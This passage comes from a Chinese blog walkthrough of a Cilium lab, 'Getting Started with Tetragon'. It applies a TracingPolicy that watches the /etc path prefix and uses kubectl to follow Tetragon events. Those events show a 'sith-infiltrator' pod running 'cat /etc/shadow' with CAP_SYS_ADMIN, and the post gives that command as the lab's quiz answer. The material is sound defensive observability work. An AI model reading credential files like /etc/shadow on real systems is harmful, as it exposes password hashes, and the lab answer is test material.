            - index: 0
              operator: "Prefix"
              values:
                - "/etc"
  1. 应用TracingPolicy
k apply -f sys-write-etc.yaml
  1. 监控 Security Observability 事件:
kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
  tetra getevents -o compact --pods sith-infiltrator
  1. 点击check按钮打印输出日志

Cilium动手实验室: 精通之旅---24.Getting Started with Tetragon_第1张图片

日志输出为:

 process default/sith-infiltrator /usr/bin/cat /etc/shadow  CAP_SYS_ADMIN
 read    default/sith-infiltrator /usr/bin/cat /etc/shadow  CAP_SYS_ADMIN
 read    default/sith-infiltrator /usr/bin/cat /etc/shadow  CAP_SYS_ADMIN
 read    default/sith-infiltrator /usr/bin/cat /etc/shadow  CAP_SYS_ADMIN
 read    default/sith-infiltrator /usr/bin/cat /etc/shadow  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/cat /etc/shadow 0  CAP_SYS_ADMIN

将对应内容写入answer.txt

/usr/bin/cat /etc/shadow

再次确认无误后,交卷!

Cilium动手实验室: 精通之旅---24.Getting Started with Tetragon_第2张图片

新徽标GET!

Cilium动手实验室: 精通之旅---24.Getting Started with Tetragon_第3张图片

你可能感兴趣的:(Cilium,Cilium,云原生,k8s)